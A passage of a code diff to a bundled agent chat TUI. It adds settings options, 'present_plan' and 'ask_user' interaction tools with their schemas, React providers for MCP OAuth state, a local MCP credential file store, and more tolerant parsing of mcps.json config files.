3197
+ label: "Tool calls display",
3198
+ description: "how `↳ <tool>` lines render — hidden, clean per-tool summary, or full JSON",
3199
+ options: [
3200
+ {
3201
+ value: "formatted",
3202
+ label: "Formatted"
3203
+ },
3204
+ {
3205
+ value: "full",
3206
+ label: "Full"
3207
+ },
3208
+ {
3209
+ value: "hidden",
3210
+ label: "Hidden"
3211
+ }
3212
+ ]
3213
+ },
3214
+ {
3215
+ key: "autoCompactThreshold",
3216
+ label: "Auto-compact threshold",
3217
+ description: "fraction of the effective context window before compaction fires",
3218
+ options: [
3219
+ {
3220
+ value: .6,
3221
+ label: "60%"
3222
+ },
3223
+ {
3224
+ value: .7,
3225
+ label: "70%"
3226
+ },
3227
+ {
3228
+ value: .8,
3229
+ label: "80%"
3230
+ },
3231
+ {
3232
+ value: .9,
3233
+ label: "90%"
3234
+ }
3235
+ ]
2068
3236
  },
2069
3237
  {
2070
- key: "showToolResults",
2071
- label: "Tool outputs",
2072
- description: "the result blocks under tool calls"
3238
+ key: "theme",
3239
+ label: "Theme",
3240
+ description: "colors + markdown / syntax styles",
3241
+ options: Object.values(BUILTIN_THEMES).map((t) => ({
3242
+ value: t.id,
3243
+ label: t.label
3244
+ }))
2073
3245
  }
2074
3246
  ];
2075
- const SETTINGS_CHOICES = [{
2076
- key: "theme",
2077
- label: "Theme",
2078
- description: "colors + markdown / syntax styles",
2079
- options: Object.values(BUILTIN_THEMES).map((t) => ({
2080
- value: t.id,
2081
- label: t.label
2082
- }))
2083
- }];
2084
3247
  //#endregion
2085
3248
  //#region src/chat/enabled-toggle-set.ts
2086
3249
  /**
@@ -2483,6 +3646,616 @@ function clip(text, max) {
2483
3646
  return text.length > max ? `${text.slice(0, max)}…` : text;
2484
3647
  }
2485
3648
  //#endregion
3649
+ //#region src/chat/interactions.tsx
3650
+ const PRESENT_PLAN_TOOL = "present_plan";
3651
+ const ASK_USER_TOOL = "ask_user";
3652
+ /** True when `name` is one of the interaction tool canonical names. */
3653
+ function isInteractionTool(name) {
3654
+ return name === "present_plan" || name === "ask_user";
3655
+ }
3656
+ /**
3657
+ * Format an {@link InteractionResponse} as the tool_result content. JSON
3658
+ * keeps the envelope parseable and explicit. Empty fields are stripped so
3659
+ * the model doesn't waste tokens reading absent values.
3660
+ */
3661
+ function serializeInteractionResponse(response) {
3662
+ if (response.kind === "plan") {
3663
+ const body = { decision: response.decision };
3664
+ if (response.comment && response.comment.trim().length > 0) body.comment = response.comment.trim();
3665
+ return JSON.stringify(body);
3666
+ }
3667
+ const answers = {};
3668
+ for (const [id, value] of Object.entries(response.answers)) if (typeof value === "string") {
3669
+ const trimmed = value.trim();
3670
+ if (trimmed.length > 0) answers[id] = trimmed;
3671
+ } else if (typeof value === "boolean") answers[id] = value;
3672
+ return JSON.stringify({ answers });
3673
+ }
3674
+ /**
3675
+ * Build a protocol-valid user `SessionTurn` that closes a batch of
3676
+ * resumed pending interactions.
3677
+ *
3678
+ * - `requests` MUST be the same list returned by
3679
+ * {@link pendingInteractionsFromTurns} for the session, in order.
3680
+ * - `responses` MUST contain an entry for every request id; throws
3681
+ * otherwise (caller bug — flush before all answers collected).
3682
+ *
3683
+ * Pure / total. Tested in isolation so the batching invariant doesn't
3684
+ * regress without the resumed-flow integration noticing.
3685
+ */
3686
+ function buildResumedToolResultsTurn(requests, responses, options) {
3687
+ if (requests.length === 0) throw new Error("buildResumedToolResultsTurn: at least one request is required");
3688
+ const content = requests.map((req) => {
3689
+ const response = responses.get(req.id);
3690
+ if (!response) throw new Error(`buildResumedToolResultsTurn: missing response for request "${req.id}". All ${requests.length} pending interactions must be resolved before flushing.`);
3691
+ return {
3692
+ type: "tool_result",
3693
+ callId: req.id,
3694
+ output: serializeInteractionResponse(response)
3695
+ };
3696
+ });
3697
+ return {
3698
+ id: options.turnId,
3699
+ role: "user",
3700
+ content,
3701
+ createdAt: options.createdAt ?? Date.now(),
3702
+ ...options.runId ? { runId: options.runId } : {}
3703
+ };
3704
+ }
3705
+ /**
3706
+ * Scan `turns` and return every interaction tool call without a matching
3707
+ * `tool_result`, ordered by turn appearance. Works equally for live mid-run
3708
+ * inspection and reload-from-disk.
3709
+ *
3710
+ * Malformed payloads (input that doesn't match the tool's schema) are
3711
+ * skipped silently — the call still lives in the persisted history, but
3712
+ * the renderer wouldn't know how to display it. The next `agent.run()` on
3713
+ * the session will see the orphan and synthesize an error tool_result via
3714
+ * the loop's normal recovery path.
3715
+ */
3716
+ function pendingInteractionsFromTurns(turns) {
3717
+ const calls = [];
3718
+ const resultIds = /* @__PURE__ */ new Set();
3719
+ for (const turn of turns) for (const block of turn.content) if (block.type === "tool_call" && isInteractionTool(block.name)) calls.push({
3720
+ callId: block.id,
3721
+ tool: block.name,
3722
+ input: block.input,
3723
+ ...turn.runId ? { runId: turn.runId } : {},
3724
+ turnId: turn.id,
3725
+ createdAt: turn.createdAt
3726
+ });
3727
+ else if (block.type === "tool_result") resultIds.add(block.callId);
3728
+ const pending = [];
3729
+ for (const call of calls) {
3730
+ if (resultIds.has(call.callId)) continue;
3731
+ if (call.tool === "present_plan") {
3732
+ const payload = parsePlanPayload(call.input);
3733
+ if (!payload) continue;
3734
+ pending.push({
3735
+ id: call.callId,
3736
+ kind: "plan",
3737
+ tool: PRESENT_PLAN_TOOL,
3738
+ payload,
3739
+ ...call.runId ? { runId: call.runId } : {},
3740
+ turnId: call.turnId,
3741
+ createdAt: call.createdAt
3742
+ });
3743
+ } else if (call.tool === "ask_user") {
3744
+ const payload = parseQuestionPayload(call.input);
3745
+ if (!payload) continue;
3746
+ pending.push({
3747
+ id: call.callId,
3748
+ kind: "question",
3749
+ tool: ASK_USER_TOOL,
3750
+ payload,
3751
+ ...call.runId ? { runId: call.runId } : {},
3752
+ turnId: call.turnId,
3753
+ createdAt: call.createdAt
3754
+ });
3755
+ }
3756
+ }
3757
+ return pending;
3758
+ }
3759
+ /**
3760
+ * Defensive parsers — tools validate via JSON Schema before `execute`, but
3761
+ * persisted turns can carry malformed input (model regressions, schema
3762
+ * migrations). We accept what we recognize and drop what we don't.
3763
+ */
3764
+ function parsePlanPayload(input) {
3765
+ const title = typeof input.title === "string" ? input.title.trim() : "";
3766
+ const plan = typeof input.plan === "string" ? input.plan : "";
3767
+ if (!title || !plan) return null;
3768
+ const stepsRaw = Array.isArray(input.steps) ? input.steps : void 0;
3769
+ const steps = [];
3770
+ if (stepsRaw) for (const s of stepsRaw) {
3771
+ if (!s || typeof s !== "object") continue;
3772
+ const cast = s;
3773
+ if (typeof cast.id !== "string" || typeof cast.title !== "string") continue;
3774
+ steps.push({
3775
+ id: cast.id,
3776
+ title: cast.title,
3777
+ ...typeof cast.description === "string" ? { description: cast.description } : {}
3778
+ });
3779
+ }
3780
+ return {
3781
+ title,
3782
+ plan,
3783
+ ...steps.length > 0 ? { steps } : {}
3784
+ };
3785
+ }
3786
+ /**
3787
+ * Defensive parser for an `ask_user` request. Accepts BOTH the new
3788
+ * multi-question shape and the legacy single-question shape (kept so
3789
+ * sessions created before the multi-question rework still surface
3790
+ * correctly on resume).
3791
+ *
3792
+ * - New: `{ intro?, questions: [...] }`.
3793
+ * - Legacy: `{ question, choices?, allowComment? }` → wrapped into a
3794
+ * single `select` (if choices) or `textarea` (otherwise) question
3795
+ * keyed by the synthetic id `'answer'`.
3796
+ */
3797
+ function parseQuestionPayload(input) {
3798
+ const intro = typeof input.intro === "string" && input.intro.trim().length > 0 ? input.intro : void 0;
3799
+ if (Array.isArray(input.questions)) {
3800
+ const questions = [];
3801
+ const seen = /* @__PURE__ */ new Set();
3802
+ for (const raw of input.questions) {
3803
+ const q = parseQuestion(raw);
3804
+ if (!q) continue;
3805
+ if (seen.has(q.id)) continue;
3806
+ seen.add(q.id);
3807
+ questions.push(q);
3808
+ }
3809
+ if (questions.length === 0) return null;
3810
+ return {
3811
+ ...intro ? { intro } : {},
3812
+ questions
3813
+ };
3814
+ }
3815
+ const question = typeof input.question === "string" ? input.question.trim() : "";
3816
+ if (!question) return null;
3817
+ const choices = parseChoices(input.choices);
3818
+ const legacy = choices.length > 0 ? {
3819
+ id: "answer",
3820
+ prompt: question,
3821
+ type: "select",
3822
+ choices
3823
+ } : {
3824
+ id: "answer",
3825
+ prompt: question,
3826
+ type: "textarea"
3827
+ };
3828
+ return {
3829
+ ...intro ? { intro } : {},
3830
+ questions: [legacy]
3831
+ };
3832
+ }
3833
+ function parseQuestion(raw) {
3834
+ if (!raw || typeof raw !== "object") return null;
3835
+ const cast = raw;
3836
+ if (typeof cast.id !== "string" || !cast.id) return null;
3837
+ if (typeof cast.prompt !== "string" || !cast.prompt.trim()) return null;
3838
+ const type = cast.type;
3839
+ if (type !== "text" && type !== "textarea" && type !== "select" && type !== "confirm") return null;
3840
+ const base = {
3841
+ id: cast.id,
3842
+ prompt: cast.prompt,
3843
+ ...typeof cast.description === "string" ? { description: cast.description } : {},
3844
+ ...typeof cast.required === "boolean" ? { required: cast.required } : {}
3845
+ };
3846
+ if (type === "text" || type === "textarea") return {
3847
+ ...base,
3848
+ type,
3849
+ ...typeof cast.placeholder === "string" ? { placeholder: cast.placeholder } : {},
3850
+ ...typeof cast.default === "string" ? { default: cast.default } : {}
3851
+ };
3852
+ if (type === "select") {
3853
+ const choices = parseChoices(cast.choices);
3854
+ if (choices.length === 0) return null;
3855
+ return {
3856
+ ...base,
3857
+ type,
3858
+ choices
3859
+ };
3860
+ }
3861
+ return {
3862
+ ...base,
3863
+ type,
3864
+ ...typeof cast.affirmLabel === "string" ? { affirmLabel: cast.affirmLabel } : {},
3865
+ ...typeof cast.denyLabel === "string" ? { denyLabel: cast.denyLabel } : {}
3866
+ };
3867
+ }
3868
+ function parseChoices(raw) {
3869
+ if (!Array.isArray(raw)) return [];
3870
+ const choices = [];
3871
+ for (const c of raw) {
3872
+ if (!c || typeof c !== "object") continue;
3873
+ const cast = c;
3874
+ if (typeof cast.id !== "string" || typeof cast.label !== "string") continue;
3875
+ choices.push({
3876
+ id: cast.id,
3877
+ label: cast.label,
3878
+ ...typeof cast.description === "string" ? { description: cast.description } : {}
3879
+ });
3880
+ }
3881
+ return choices;
3882
+ }
3883
+ /**
3884
+ * Create the `present_plan` and `ask_user` tools as a record, ready to
3885
+ * spread into `createAgent({ tools })` or composed into a {@link Preset}.
3886
+ */
3887
+ function createInteractionTools(opts) {
3888
+ return {
3889
+ [PRESENT_PLAN_TOOL]: createPlanTool(opts),
3890
+ [ASK_USER_TOOL]: createQuestionTool(opts)
3891
+ };
3892
+ }
3893
+ const PLAN_DESCRIPTION = "Present a multi-step plan to the user for approval BEFORE executing it. Use this when you have a concrete proposal that materially changes the workspace and want explicit confirmation. The user can approve, reject, or request revisions; revisions come back as a comment alongside a `revise` decision.";
3894
+ const QUESTION_DESCRIPTION = "Ask the user one or more clarifying questions and pause until they answer. Batch related questions into a single call instead of asking one at a time — every call pauses the conversation. Each question carries a `type`: `text` (single line), `textarea` (multi-line), `select` (one of `choices`), or `confirm` (yes/no). Use sparingly: only when explicit user input materially changes the next steps.";
3895
+ function createPlanTool({ requestInteraction }) {
3896
+ return {
3897
+ spec: {
3898
+ name: PRESENT_PLAN_TOOL,
3899
+ description: PLAN_DESCRIPTION,
3900
+ inputSchema: {
3901
+ type: "object",
3902
+ properties: {
3903
+ title: {
3904
+ type: "string",
3905
+ description: "Short headline summary of the plan."
3906
+ },
3907
+ plan: {
3908
+ type: "string",
3909
+ description: "Full plan body, written as Markdown."
3910
+ },
3911
+ steps: {
3912
+ type: "array",
3913
+ description: "Optional structured step list. Each step has an `id`, `title`, and optional `description`.",
3914
+ items: {
3915
+ type: "object",
3916
+ properties: {
3917
+ id: { type: "string" },
3918
+ title: { type: "string" },
3919
+ description: { type: "string" }
3920
+ },
3921
+ required: ["id", "title"]
3922
+ }
3923
+ }
3924
+ },
3925
+ required: ["title", "plan"]
3926
+ }
3927
+ },
3928
+ async execute(input, ctx) {
3929
+ const payload = parsePlanPayload(input);
3930
+ if (!payload) throw new Error("present_plan: invalid input — expected non-empty `title` and `plan` strings.");
3931
+ const response = await requestInteraction({
3932
+ id: ctx.callId,
3933
+ kind: "plan",
3934
+ tool: PRESENT_PLAN_TOOL,
3935
+ payload,
3936
+ ...ctx.runId ? { runId: ctx.runId } : {},
3937
+ turnId: ctx.turnId,
3938
+ createdAt: Date.now()
3939
+ });
3940
+ if (response.kind !== "plan") throw new Error(`present_plan: unexpected response kind "${response.kind}".`);
3941
+ return serializeInteractionResponse(response);
3942
+ }
3943
+ };
3944
+ }
3945
+ function createQuestionTool({ requestInteraction }) {
3946
+ return {
3947
+ spec: {
3948
+ name: ASK_USER_TOOL,
3949
+ description: QUESTION_DESCRIPTION,
3950
+ inputSchema: {
3951
+ type: "object",
3952
+ properties: {
3953
+ intro: {
3954
+ type: "string",
3955
+ description: "Optional context shown above the questions (Markdown)."
3956
+ },
3957
+ questions: {
3958
+ type: "array",
3959
+ description: "One or more questions for the user to answer in a single form.",
3960
+ minItems: 1,
3961
+ items: {
3962
+ type: "object",
3963
+ properties: {
3964
+ id: {
3965
+ type: "string",
3966
+ description: "Stable identifier — keys the answer back to the model."
3967
+ },
3968
+ prompt: {
3969
+ type: "string",
3970
+ description: "The question to display."
3971
+ },
3972
+ type: {
3973
+ type: "string",
3974
+ enum: [
3975
+ "text",
3976
+ "textarea",
3977
+ "select",
3978
+ "confirm"
3979
+ ],
3980
+ description: "`text` = single line, `textarea` = multi-line, `select` = pick from `choices`, `confirm` = yes/no."
3981
+ },
3982
+ description: {
3983
+ type: "string",
3984
+ description: "Optional helper text shown under the prompt."
3985
+ },
3986
+ required: {
3987
+ type: "boolean",
3988
+ description: "Whether a non-empty answer is required."
3989
+ },
3990
+ placeholder: {
3991
+ type: "string",
3992
+ description: "For `text` / `textarea`: placeholder shown when the input is empty."
3993
+ },
3994
+ default: {
3995
+ type: "string",
3996
+ description: "For `text` / `textarea`: pre-fill the input with this value."
3997
+ },
3998
+ choices: {
3999
+ type: "array",
4000
+ description: "For `select`: the available choices. Required.",
4001
+ items: {
4002
+ type: "object",
4003
+ properties: {
4004
+ id: { type: "string" },
4005
+ label: { type: "string" },
4006
+ description: { type: "string" }
4007
+ },
4008
+ required: ["id", "label"]
4009
+ }
4010
+ },
4011
+ affirmLabel: {
4012
+ type: "string",
4013
+ description: "For `confirm`: label for the affirmative option. Default: `\"yes\"`."
4014
+ },
4015
+ denyLabel: {
4016
+ type: "string",
4017
+ description: "For `confirm`: label for the negative option. Default: `\"no\"`."
4018
+ }
4019
+ },
4020
+ required: [
4021
+ "id",
4022
+ "prompt",
4023
+ "type"
4024
+ ]
4025
+ }
4026
+ }
4027
+ },
4028
+ required: ["questions"]
4029
+ }
4030
+ },
4031
+ async execute(input, ctx) {
4032
+ const payload = parseQuestionPayload(input);
4033
+ if (!payload) throw new Error("ask_user: invalid input — expected a non-empty `questions` array.");
4034
+ const response = await requestInteraction({
4035
+ id: ctx.callId,
4036
+ kind: "question",
4037
+ tool: ASK_USER_TOOL,
4038
+ payload,
4039
+ ...ctx.runId ? { runId: ctx.runId } : {},
4040
+ turnId: ctx.turnId,
4041
+ createdAt: Date.now()
4042
+ });
4043
+ if (response.kind !== "question") throw new Error(`ask_user: unexpected response kind "${response.kind}".`);
4044
+ return serializeInteractionResponse(response);
4045
+ }
4046
+ };
4047
+ }
4048
+ const InteractionsQueueContext = createContext([]);
4049
+ const InteractionsActionsContext = createContext(null);
4050
+ function InteractionsProvider({ children }) {
4051
+ const [queue, setQueue] = useState([]);
4052
+ const enqueue = useCallback((entry) => {
4053
+ setQueue((prev) => [...prev, entry]);
4054
+ }, []);
4055
+ const resolveHead = useCallback((response) => {
4056
+ setQueue((prev) => {
4057
+ const [head, ...rest] = prev;
4058
+ if (head) head.resolve(response);
4059
+ return rest;
4060
+ });
4061
+ }, []);
4062
+ const cancelHead = useCallback((reason) => {
4063
+ setQueue((prev) => {
4064
+ const [head, ...rest] = prev;
4065
+ if (head) head.cancel(reason);
4066
+ return rest;
4067
+ });
4068
+ }, []);
4069
+ const cancelAll = useCallback((reason) => {
4070
+ setQueue((prev) => {
4071
+ for (const entry of prev) entry.cancel(reason);
4072
+ return [];
4073
+ });
4074
+ }, []);
4075
+ const actionsRef = useRef(null);
4076
+ if (!actionsRef.current) actionsRef.current = {
4077
+ enqueue,
4078
+ resolveHead,
4079
+ cancelHead,
4080
+ cancelAll
4081
+ };
4082
+ return /* @__PURE__ */ jsx(InteractionsActionsContext.Provider, {
4083
+ value: actionsRef.current,
4084
+ children: /* @__PURE__ */ jsx(InteractionsQueueContext.Provider, {
4085
+ value: queue,
4086
+ children
4087
+ })
4088
+ });
4089
+ }
4090
+ /** Read the live queue (re-renders on every push/pop). */
4091
+ function useInteractionsQueue() {
4092
+ return useContext(InteractionsQueueContext);
4093
+ }
4094
+ /** Read the stable actions object. */
4095
+ function useInteractionsActions() {
4096
+ const ctx = useContext(InteractionsActionsContext);
4097
+ if (!ctx) throw new Error("useInteractionsActions must be used inside <InteractionsProvider>");
4098
+ return ctx;
4099
+ }
4100
+ /**
4101
+ * Build the `requestInteraction` callback for `createInteractionTools` from
4102
+ * the React-side {@link InteractionsActions}. Each call adds a fresh entry
4103
+ * to the queue whose `resolve` / `cancel` route back to one Promise that
4104
+ * the tool's `execute` awaits.
4105
+ */
4106
+ function makeRequestInteraction(actions) {
4107
+ return (request) => new Promise((resolve, reject) => {
4108
+ actions.enqueue({
4109
+ request,
4110
+ resolve,
4111
+ cancel: (reason) => reject(new Error(reason ?? "Interaction cancelled"))
4112
+ });
4113
+ });
4114
+ }
4115
+ //#endregion
4116
+ //#region src/chat/mcp-auth-state.ts
4117
+ /**
4118
+ * Apply one event to the state map. Pure, immutable — returns a new map
4119
+ * with only the affected key reassigned.
4120
+ *
4121
+ * State transitions are simple "last write wins"; we don't gate (e.g.) a
4122
+ * `login:start` from overriding `authorizing` because the loop layer
4123
+ * never doubles those up — interactive login is serialized in the TUI.
4124
+ */
4125
+ function reduceMcpAuth(state, event) {
4126
+ const next = (status) => ({
4127
+ ...state,
4128
+ [event.name]: status
4129
+ });
4130
+ switch (event.type) {
4131
+ case "auth-required": return next({
4132
+ kind: "needs-auth",
4133
+ reason: event.reason
4134
+ });
4135
+ case "auth-url": return next({
4136
+ kind: "authorizing",
4137
+ url: event.url
4138
+ });
4139
+ case "auth-success": return next({ kind: "authed" });
4140
+ case "auth-error": return next({
4141
+ kind: "error",
4142
+ error: event.error
4143
+ });
4144
+ case "connected":
4145
+ if (state[event.name]?.kind === "authorizing" || state[event.name]?.kind === "needs-auth" || state[event.name]?.kind === "authed") return next({ kind: "authed" });
4146
+ return state;
4147
+ case "login:start": return next({ kind: "authorizing" });
4148
+ case "login:cancel": return next({
4149
+ kind: "needs-auth",
4150
+ reason: "no-tokens"
4151
+ });
4152
+ case "logout":
4153
+ case "reset": {
4154
+ const { [event.name]: _, ...rest } = state;
4155
+ return rest;
4156
+ }
4157
+ }
4158
+ }
4159
+ /** Convenience getter — treats `undefined` as `idle`. */
4160
+ function getMcpAuthStatus(state, name) {
4161
+ return state[name] ?? { kind: "idle" };
4162
+ }
4163
+ //#endregion
4164
+ //#region src/chat/mcp-auth-context.tsx
4165
+ const StateContext = createContext({});
4166
+ const DispatchContext = createContext(null);
4167
+ /**
4168
+ * Mount once near the top of the React tree (above `ModalRoot`). Children
4169
+ * use `useMcpAuthState()` to read and `useMcpAuthDispatch()` to fire events.
4170
+ */
4171
+ function McpAuthProvider({ children }) {
4172
+ const [state, setState] = useState({});
4173
+ const dispatch = useCallback((event) => {
4174
+ setState((prev) => reduceMcpAuth(prev, event));
4175
+ }, []);
4176
+ return /* @__PURE__ */ jsx$1(StateContext.Provider, {
4177
+ value: state,
4178
+ children: /* @__PURE__ */ jsx$1(DispatchContext.Provider, {
4179
+ value: dispatch,
4180
+ children
4181
+ })
4182
+ });
4183
+ }
4184
+ function useMcpAuthState() {
4185
+ return useContext(StateContext);
4186
+ }
4187
+ function useMcpAuthDispatch() {
4188
+ const dispatch = useContext(DispatchContext);
4189
+ if (!dispatch) throw new Error("useMcpAuthDispatch must be used inside <McpAuthProvider>");
4190
+ return dispatch;
4191
+ }
4192
+ //#endregion
4193
+ //#region src/chat/mcp-credentials.ts
4194
+ const FILE_MODE = 384;
4195
+ function mcpCredentialsPath(dataDir) {
4196
+ return resolve(dataDir, "mcp-credentials.json");
4197
+ }
4198
+ function readAll(dataDir) {
4199
+ const path = mcpCredentialsPath(dataDir);
4200
+ if (!existsSync(path)) return {};
4201
+ try {
4202
+ const raw = readFileSync(path, "utf-8");
4203
+ const parsed = JSON.parse(raw);
4204
+ if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) return {};
4205
+ return parsed;
4206
+ } catch {
4207
+ return {};
4208
+ }
4209
+ }
4210
+ function writeAll(dataDir, all) {
4211
+ const path = mcpCredentialsPath(dataDir);
4212
+ mkdirSync(dirname(path), { recursive: true });
4213
+ const tmp = `${path}.${process.pid}.${Date.now()}.tmp`;
4214
+ writeFileSync(tmp, `${JSON.stringify(all, null, 2)}\n`, { mode: FILE_MODE });
4215
+ renameSync(tmp, path);
4216
+ }
4217
+ /**
4218
+ * Build a file-backed `McpCredentialStore`. All per-server reads / writes
4219
+ * funnel through the single `mcp-credentials.json` file — this keeps
4220
+ * concurrent flows for different servers from clobbering each other since
4221
+ * each save reads-modifies-writes the full file atomically.
4222
+ *
4223
+ * Two flows for the same server name CAN race (last write wins). MCP OAuth
4224
+ * flows are user-driven and serial in practice (one login modal at a time),
4225
+ * so this is acceptable; a per-server file split + cross-process lock would
4226
+ * be required to handle a multi-process scenario.
4227
+ */
4228
+ function createFileMcpCredentialStore(dataDir) {
4229
+ return {
4230
+ load(name) {
4231
+ return readAll(dataDir)[name];
4232
+ },
4233
+ save(name, entry) {
4234
+ const all = readAll(dataDir);
4235
+ all[name] = entry;
4236
+ writeAll(dataDir, all);
4237
+ },
4238
+ delete(name) {
4239
+ const all = readAll(dataDir);
4240
+ if (!(name in all)) return;
4241
+ delete all[name];
4242
+ writeAll(dataDir, all);
4243
+ }
4244
+ };
4245
+ }
4246
+ /**
4247
+ * Convenience patches for individual sub-fields. The provider class uses
4248
+ * these so a `saveTokens` call doesn't have to round-trip `clientInformation`
4249
+ * + `discoveryState` it never touched.
4250
+ */
4251
+ function patchMcpCredential(store, name, patch) {
4252
+ const existing = store.load(name) ?? {};
4253
+ store.save(name, {
4254
+ ...existing,
4255
+ ...patch
4256
+ });
4257
+ }
4258
+ //#endregion
2486
4259
  //#region src/chat/project-user-paths.ts
2487
4260
  /**
2488
4261
  * Shared search-path builder for project + user config discovery.
@@ -2548,58 +4321,173 @@ function defaultMcpsConfigPaths(opts = {}) {
2548
4321
  });
2549
4322
  }
2550
4323
  /**
2551
- * Parse one `mcps.json` file. Accepts:
2552
- * - A raw `McpServerConfig[]` array — host-SDK convention.
2553
- * - An object with `{ "mcpServers": { name: {...} } }` — Claude Desktop
2554
- * + many client wrappers. The `mcpServers` value is unwrapped before
2555
- * normalization (otherwise `normalizeMcpServers` would treat the whole
2556
- * wrapper as a single server).
2557
- * - A name-keyed map (`{ fs: {...}, github: {...} }`) — host-SDK
2558
- * convenience shape.
4324
+ * Parse one `mcps.json` file. Canonical zidane shape is a flat array; the
4325
+ * other shapes exist for copy-paste from neighboring tools:
4326
+ *
4327
+ * - `McpServerConfig[]` flat array (recommended).
4328
+ * - `{ name: {...} }` name-keyed map.
4329
+ * - `{ "mcpServers": { name: {...} } }` — Claude Desktop / Claude Code /
4330
+ * Cursor wrapper. Unwrapped before normalization (otherwise
4331
+ * `normalizeMcpServers` would treat the whole wrapper as a single server).
4332
+ *
4333
+ * Per-entry `enabled: false` (Cursor runtime state) drops the entry — same
4334
+ * intent as the source tool. Use the TUI toggle list for "show but disabled".
4335
+ *
4336
+ * Tolerant to common copy-paste artifacts: when strict `JSON.parse` fails,
4337
+ * retries after normalizing invisible whitespace that's valid Unicode but
4338
+ * not valid JSON whitespace (BOM, NBSP, zero-width spaces, line/paragraph
4339
+ * separators) — only OUTSIDE string literals, so user data isn't mutated.
4340
+ * If the sanitized version still fails, throws the original error with a
4341
+ * targeted hint when NBSPs are present.
2559
4342
  *
2560
4343
  * Validation flows through `normalizeMcpServers` so the result matches
2561
- * what `createAgent` accepts. Throws on malformed JSON; the caller decides
2562
- * whether to surface or swallow.
4344
+ * what `createAgent` accepts. Throws on truly malformed JSON; the caller
4345
+ * decides whether to surface or swallow.
2563
4346
  */
2564
4347
  function parseMcpsFile(text) {
2565
- const raw = JSON.parse(text);
2566
- return normalizeMcpServers(raw && typeof raw === "object" && !Array.isArray(raw) && "mcpServers" in raw ? raw.mcpServers : raw);
4348
+ let raw;
4349
+ try {
4350
+ raw = JSON.parse(text);
4351
+ } catch (firstErr) {
4352
+ const sanitized = sanitizeJsonWhitespace(text);
4353
+ if (!sanitized.changed) throw firstErr;
4354
+ try {
4355
+ raw = JSON.parse(sanitized.text);
4356
+ } catch {
4357
+ throw enhanceJsonError(firstErr, text);
4358
+ }
4359
+ }
4360
+ return normalizeMcpServers(dropDisabledEntries(raw && typeof raw === "object" && !Array.isArray(raw) && "mcpServers" in raw ? raw.mcpServers : raw));
4361
+ }
4362
+ /**
4363
+ * Code points that are valid Unicode whitespace but NOT valid JSON whitespace.
4364
+ * Copy-paste from rich-text contexts (markdown editors, chat UIs, web pages)
4365
+ * frequently slips these in:
4366
+ *
4367
+ * - `\uFEFF` BOM — sometimes prepended by Windows editors.
4368
+ * - `\u00A0` NBSP — markdown/HTML smart-replace common culprit.
4369
+ * - `\u200B`-`\u200D` zero-width family — often invisible in editors.
4370
+ * - `\u2028` / `\u2029` line/paragraph separators — valid in JS strings
4371
+ * pre-ES2019 but never in strict JSON.
4372
+ * - `\u2060` word joiner.
4373
+ *
4374
+ * Replace with ASCII space (zero-width chars are removed; the others become
4375
+ * a single space). Replacements happen ONLY outside string literals so a
4376
+ * user's intentional NBSP inside a `url` or display name is left alone.
4377
+ */
4378
+ const PROBLEMATIC_WHITESPACE = new Set([
4379
+ 65279,
4380
+ 160,
4381
+ 8203,
4382
+ 8204,
4383
+ 8205,
4384
+ 8232,
4385
+ 8233,
4386
+ 8288
4387
+ ]);
4388
+ function sanitizeJsonWhitespace(text) {
4389
+ let changed = false;
4390
+ let inString = false;
4391
+ let escaped = false;
4392
+ const out = [];
4393
+ for (let i = 0; i < text.length; i++) {
4394
+ const ch = text[i];
4395
+ if (inString) {
4396
+ out.push(ch);
4397
+ if (escaped) escaped = false;
4398
+ else if (ch === "\\") escaped = true;
4399
+ else if (ch === "\"") inString = false;
4400
+ continue;
4401
+ }
4402
+ if (ch === "\"") {
4403
+ inString = true;
4404
+ out.push(ch);
4405
+ continue;
4406
+ }
4407
+ const code = ch.charCodeAt(0);
4408
+ if (PROBLEMATIC_WHITESPACE.has(code)) {
4409
+ changed = true;
4410
+ if (code === 160 || code === 8232 || code === 8233) out.push(" ");
4411
+ continue;
4412
+ }
4413
+ out.push(ch);
4414
+ }
4415
+ return {
4416
+ text: out.join(""),
4417
+ changed
4418
+ };
4419
+ }
4420
+ function enhanceJsonError(err, text) {
4421
+ const orig = err instanceof Error ? err : new Error(String(err));
4422
+ const hints = [];
4423
+ if (text.includes("\xA0")) hints.push("the file contains non-breaking spaces (U+00A0), likely a copy-paste artifact — replace them with regular spaces");
4424
+ if (text.charCodeAt(0) === 65279) hints.push("the file starts with a BOM (U+FEFF), which strict JSON.parse rejects");
4425
+ if (hints.length === 0) return orig;
4426
+ return /* @__PURE__ */ new Error(`${orig.message} — ${hints.join("; ")}`);
4427
+ }
4428
+ /**
4429
+ * Strip `enabled: false` entries before normalization — same intent as the
4430
+ * source tool that wrote them (Cursor flips this when the user toggles a
4431
+ * server off in its UI). One pass over array OR map shape, O(N).
4432
+ *
4433
+ * Done pre-normalize so we don't have to teach `normalizeMcpServers` about
4434
+ * the flag — the canonical `McpServerConfig` has no `enabled` field.
4435
+ */
4436
+ function dropDisabledEntries(target) {
4437
+ if (Array.isArray(target)) return target.filter((e) => !isEntryDisabled(e));
4438
+ if (target && typeof target === "object") {
4439
+ const filtered = {};
4440
+ for (const [name, entry] of Object.entries(target)) if (!isEntryDisabled(entry)) filtered[name] = entry;
4441
+ return filtered;
4442
+ }
4443
+ return target;
4444
+ }
4445
+ function isEntryDisabled(entry) {
4446
+ return !!entry && typeof entry === "object" && entry.enabled === false;
2567
4447
  }
2568
4448
  /**
2569
4449
  * Walk the default config paths, parse every file that exists, and return
2570
- * `DiscoveredMcp[]` in source-priority order. Project entries appear
4450
+ * `{ servers, errors }` in source-priority order. Project entries appear
2571
4451
  * before user entries; first occurrence of a `name` wins (later
2572
4452
  * duplicates dropped).
2573
4453
  *
2574
- * Parse errors are logged under `ZIDANE_DEBUG` and the file skipped so a
2575
- * single malformed `mcps.json` can't take down the picker.
4454
+ * Parse failures are captured into `errors` rather than thrown the picker
4455
+ * surfaces them while still showing whatever DID parse. A `ZIDANE_DEBUG`
4456
+ * log line is also emitted for ops visibility.
2576
4457
  */
2577
4458
  function discoverProjectMcps(opts = {}) {
2578
4459
  const paths = defaultMcpsConfigPaths(opts).filter((p) => existsSync(p.path));
2579
4460
  const seen = /* @__PURE__ */ new Set();
2580
- const out = [];
4461
+ const servers = [];
4462
+ const errors = [];
2581
4463
  for (const { path, source } of paths) {
2582
4464
  let configs;
2583
4465
  try {
2584
4466
  configs = parseMcpsFile(readFileSync(path, "utf8"));
2585
4467
  } catch (err) {
2586
- if (process.env.ZIDANE_DEBUG) {
2587
- const cause = err instanceof Error ? err.message : String(err);
2588
